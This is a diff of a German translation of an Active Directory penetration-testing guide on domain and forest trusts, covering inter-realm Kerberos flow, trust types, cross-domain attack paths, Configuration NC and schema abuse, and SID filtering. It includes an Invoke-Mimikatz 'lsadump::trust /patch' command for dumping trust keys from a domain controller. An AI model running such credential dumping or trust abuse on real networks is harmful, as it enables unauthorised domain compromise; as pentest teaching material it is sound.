1. Ein **Client-Computer** in **Domäne 1** beginnt den Prozess, indem er seinen **NTLM-Hash** verwendet, um ein **Ticket Granting Ticket (TGT)** von seinem **Domain Controller (DC1)** anzufordern.
|
||||
1. Ein **Client-Computer** in **Domäne 1** beginnt den Prozess, indem er seinen **NTLM-Hash** verwendet, um ein **Ticket Granting Ticket (TGT)** von seinem **Domänencontroller (DC1)** anzufordern.
|
||||
2. DC1 gibt ein neues TGT aus, wenn der Client erfolgreich authentifiziert wird.
|
||||
3. Der Client fordert dann ein **inter-realm TGT** von DC1 an, das benötigt wird, um auf Ressourcen in **Domäne 2** zuzugreifen.
|
||||
4. Das inter-realm TGT ist mit einem **Vertrauensschlüssel** verschlüsselt, der zwischen DC1 und DC2 im Rahmen des zweiseitigen Domänenvertrauens geteilt wird.
|
||||
5. Der Client bringt das inter-realm TGT zu **Domain 2's Domain Controller (DC2)**.
|
||||
4. Das inter-realm TGT ist mit einem **Vertrauensschlüssel** verschlüsselt, der zwischen DC1 und DC2 als Teil des zweiseitigen Domänenvertrauens geteilt wird.
|
||||
5. Der Client bringt das inter-realm TGT zu **Domäne 2's Domänencontroller (DC2)**.
|
||||
6. DC2 überprüft das inter-realm TGT mit seinem gemeinsamen Vertrauensschlüssel und gibt, wenn es gültig ist, ein **Ticket Granting Service (TGS)** für den Server in Domäne 2 aus, auf den der Client zugreifen möchte.
|
||||
7. Schließlich präsentiert der Client dieses TGS dem Server, das mit dem Hash des Serverkontos verschlüsselt ist, um Zugriff auf den Dienst in Domäne 2 zu erhalten.
|
||||
|
||||
@ -526,12 +526,12 @@ Wenn Domäne A Domäne B vertraut, ist A die vertrauende Domäne und B die vertr
|
||||
|
||||
**Verschiedene vertrauende Beziehungen**
|
||||
|
||||
- **Eltern-Kind-Vertrauen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch ein zweiseitiges transitives Vertrauen mit ihrer Elterndomäne hat. Im Wesentlichen bedeutet dies, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
|
||||
- **Quervertrauen**: Auch als "Shortcut-Trusts" bezeichnet, werden diese zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zum Wurzelwald und dann zur Ziel-Domäne reisen. Durch die Erstellung von Querverbindungen wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
|
||||
- **Externe Vertrauensstellungen**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Vertrauensstellungen nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht über ein Waldvertrauen verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Vertrauensstellungen erhöht.
|
||||
- **Baum-Wurzel-Vertrauen**: Diese Vertrauensstellungen werden automatisch zwischen der Wurzel-Domäne des Waldes und einer neu hinzugefügten Baumwurzel eingerichtet. Obwohl sie nicht häufig vorkommen, sind Baum-Wurzel-Vertrauen wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, damit sie einen einzigartigen Domänennamen beibehalten und eine zweiseitige Transitivität gewährleisten können. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Waldvertrauen**: Diese Art von Vertrauen ist ein zweiseitiges transitives Vertrauen zwischen zwei Wurzel-Domänen des Waldes, das ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
|
||||
- **MIT-Vertrauen**: Diese Vertrauensstellungen werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Vertrauen sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
|
||||
- **Eltern-Kind-Vertrauen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch ein zweiseitiges transitives Vertrauen zu ihrer Elterndomäne hat. Im Wesentlichen bedeutet dies, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
|
||||
- **Cross-Link-Vertrauen**: Auch als "Shortcut-Trusts" bezeichnet, werden diese zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zum Wurzelwald und dann zur Ziel-Domäne reisen. Durch die Erstellung von Cross-Links wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
|
||||
- **Externe Verträge**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Verträge nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht über ein Waldvertrauen verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Verträgen erhöht.
|
||||
- **Tree-root-Vertrauen**: Diese Verträge werden automatisch zwischen der Wurzel-Domäne des Waldes und einem neu hinzugefügten Baumstamm eingerichtet. Obwohl sie nicht häufig vorkommen, sind Tree-root-Verträge wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, damit sie einen einzigartigen Domänennamen beibehalten und eine zweiseitige Transitivität gewährleisten können. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Waldvertrauen**: Diese Art von Vertrauen ist ein zweiseitiges transitive Vertrauen zwischen zwei Wurzel-Domänen des Waldes, das ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
|
||||
- **MIT-Vertrauen**: Diese Verträge werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Verträge sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
|
||||
|
||||
#### Weitere Unterschiede in **vertrauenden Beziehungen**
|
||||
|
||||
@ -547,7 +547,7 @@ Wenn Domäne A Domäne B vertraut, ist A die vertrauende Domäne und B die vertr
|
||||
|
||||
Angreifer könnten über drei Hauptmechanismen auf Ressourcen in einer anderen Domäne zugreifen:
|
||||
|
||||
- **Lokale Gruppenmitgliedschaft**: Prinzipale könnten zu lokalen Gruppen auf Maschinen hinzugefügt werden, wie der "Administratoren"-Gruppe auf einem Server, was ihnen erhebliche Kontrolle über diese Maschine gewährt.
|
||||
- **Lokale Gruppenmitgliedschaft**: Prinzipale könnten zu lokalen Gruppen auf Maschinen hinzugefügt werden, wie der "Administratoren"-Gruppe auf einem Server, was ihnen erheblichen Einfluss auf diese Maschine gewährt.
|
||||
- **Mitgliedschaft in Gruppen der Fremddomäne**: Prinzipale können auch Mitglieder von Gruppen innerhalb der Fremddomäne sein. Die Wirksamkeit dieser Methode hängt jedoch von der Art des Vertrauens und dem Umfang der Gruppe ab.
|
||||
- **Zugriffskontrolllisten (ACLs)**: Prinzipale könnten in einer **ACL** angegeben sein, insbesondere als Entitäten in **ACEs** innerhalb einer **DACL**, die ihnen Zugriff auf spezifische Ressourcen gewährt. Für diejenigen, die tiefer in die Mechanik von ACLs, DACLs und ACEs eintauchen möchten, ist das Whitepaper mit dem Titel “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” eine wertvolle Ressource.
|
||||
|
||||
@ -565,7 +565,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> Es gibt **2 vertrauenswürdige Schlüssel**, einen für _Child --> Parent_ und einen anderen für _Parent_ --> _Child_.\
|
||||
> Sie können den aktuellen Schlüssel des verwendeten Domänen mit folgendem Befehl abrufen:
|
||||
> Sie können den aktuellen Schlüssel des aktuellen Domäne mit folgendem Befehl abrufen:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -582,7 +582,7 @@ sid-history-injection.md
|
||||
|
||||
#### Ausnutzen des beschreibbaren Configuration NC
|
||||
|
||||
Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient als zentrales Repository für Konfigurationsdaten in Active Directory (AD)-Umgebungen. Diese Daten werden auf jeden Domain Controller (DC) innerhalb des Waldes repliziert, wobei beschreibbare DCs eine beschreibbare Kopie des Configuration NC führen. Um dies auszunutzen, muss man **SYSTEM-Rechte auf einem DC** haben, vorzugsweise auf einem Child DC.
|
||||
Das Verständnis, wie der Configuration Naming Context (NC) ausgenutzt werden kann, ist entscheidend. Der Configuration NC dient als zentrales Repository für Konfigurationsdaten in einer Active Directory (AD)-Umgebung. Diese Daten werden auf jeden Domain Controller (DC) innerhalb des Waldes repliziert, wobei beschreibbare DCs eine beschreibbare Kopie des Configuration NC führen. Um dies auszunutzen, muss man **SYSTEM-Rechte auf einem DC** haben, vorzugsweise auf einem Child DC.
|
||||
|
||||
**GPO mit Root-DC-Standort verknüpfen**
|
||||
|
||||
@ -598,7 +598,7 @@ Eine detaillierte Analyse findet sich in der Diskussion über [Golden gMSA Trust
|
||||
|
||||
**Schema-Änderungsangriff**
|
||||
|
||||
Diese Methode erfordert Geduld, um die Erstellung neuer privilegierter AD-Objekte abzuwarten. Mit SYSTEM-Rechten kann ein Angreifer das AD-Schema ändern, um einem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
|
||||
Diese Methode erfordert Geduld, da auf die Erstellung neuer privilegierter AD-Objekte gewartet werden muss. Mit SYSTEM-Rechten kann ein Angreifer das AD-Schema ändern, um jedem Benutzer die vollständige Kontrolle über alle Klassen zu gewähren. Dies könnte zu unbefugtem Zugriff und Kontrolle über neu erstellte AD-Objekte führen.
|
||||
|
||||
Weiterführende Informationen sind verfügbar zu [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
In diesem Szenario **wird Ihre Domäne von einer externen vertraut** und gibt Ihnen **unbestimmte Berechtigungen** über sie. Sie müssen herausfinden, **welche Prinzipale Ihrer Domäne welchen Zugriff auf die externe Domäne haben** und dann versuchen, dies auszunutzen:
|
||||
In diesem Szenario **wird Ihre Domäne von einer externen vertraut** und gibt Ihnen **unbestimmte Berechtigungen** darüber. Sie müssen herausfinden, **welche Prinzipale Ihrer Domäne welchen Zugriff auf die externe Domäne haben** und dann versuchen, dies auszunutzen:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
In diesem Szenario **vertraut Ihre Domäne** einigen **Befugnissen** einem Principal aus **anderen Domänen**.
|
||||
|
||||
Wenn jedoch eine **Domäne vertraut** wird von der vertrauenden Domäne, erstellt die vertrauenswürdige Domäne **einen Benutzer** mit einem **vorhersehbaren Namen**, der als **Passwort das vertrauenswürdige Passwort** verwendet. Das bedeutet, dass es möglich ist, **auf einen Benutzer aus der vertrauenden Domäne zuzugreifen, um in die vertrauenswürdige zu gelangen**, um sie zu enumerieren und zu versuchen, weitere Berechtigungen zu eskalieren:
|
||||
Wenn jedoch eine **Domäne vertraut wird** von der vertrauenden Domäne, erstellt die vertrauenswürdige Domäne **einen Benutzer** mit einem **vorhersehbaren Namen**, der als **Passwort das vertrauenswürdige Passwort** verwendet. Das bedeutet, dass es möglich ist, **auf einen Benutzer aus der vertrauenden Domäne zuzugreifen, um in die vertrauenswürdige zu gelangen**, um sie zu enumerieren und zu versuchen, weitere Berechtigungen zu eskalieren:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
@ -658,15 +658,15 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID-Filterung:**
|
||||
|
||||
- Das Risiko von Angriffen, die das SID-Historienattribut über Waldvertrauen ausnutzen, wird durch SID-Filterung gemindert, die standardmäßig bei allen inter-waldlichen Vertrauensstellungen aktiviert ist. Dies basiert auf der Annahme, dass intra-waldliche Vertrauensstellungen sicher sind, wobei der Wald, nicht die Domäne, als Sicherheitsgrenze gemäß Microsofts Standpunkt betrachtet wird.
|
||||
- Das Risiko von Angriffen, die das SID-Historienattribut über Waldvertrauensstellungen ausnutzen, wird durch die SID-Filterung gemindert, die standardmäßig bei allen inter-Wald-Vertrauensstellungen aktiviert ist. Dies basiert auf der Annahme, dass intra-Wald-Vertrauensstellungen sicher sind, wobei der Wald, nicht die Domäne, als Sicherheitsgrenze gemäß Microsofts Auffassung betrachtet wird.
|
||||
- Es gibt jedoch einen Haken: Die SID-Filterung könnte Anwendungen und den Benutzerzugriff stören, was gelegentlich zu ihrer Deaktivierung führt.
|
||||
|
||||
### **Selektive Authentifizierung:**
|
||||
|
||||
- Bei inter-waldlichen Vertrauensstellungen stellt die Verwendung von selektiver Authentifizierung sicher, dass Benutzer aus den beiden Wäldern nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domänen und Server innerhalb der vertrauenden Domäne oder des Waldes zugreifen können.
|
||||
- Bei inter-Wald-Vertrauensstellungen stellt die Verwendung selektiver Authentifizierung sicher, dass Benutzer aus den beiden Wäldern nicht automatisch authentifiziert werden. Stattdessen sind explizite Berechtigungen erforderlich, damit Benutzer auf Domänen und Server innerhalb der vertrauenden Domäne oder des Waldes zugreifen können.
|
||||
- Es ist wichtig zu beachten, dass diese Maßnahmen nicht vor der Ausnutzung des beschreibbaren Configuration Naming Context (NC) oder Angriffen auf das Vertrauenskonto schützen.
|
||||
|
||||
[**Weitere Informationen zu Domänenvertrauten in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
[**Weitere Informationen zu Domänenvertrauen bei ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user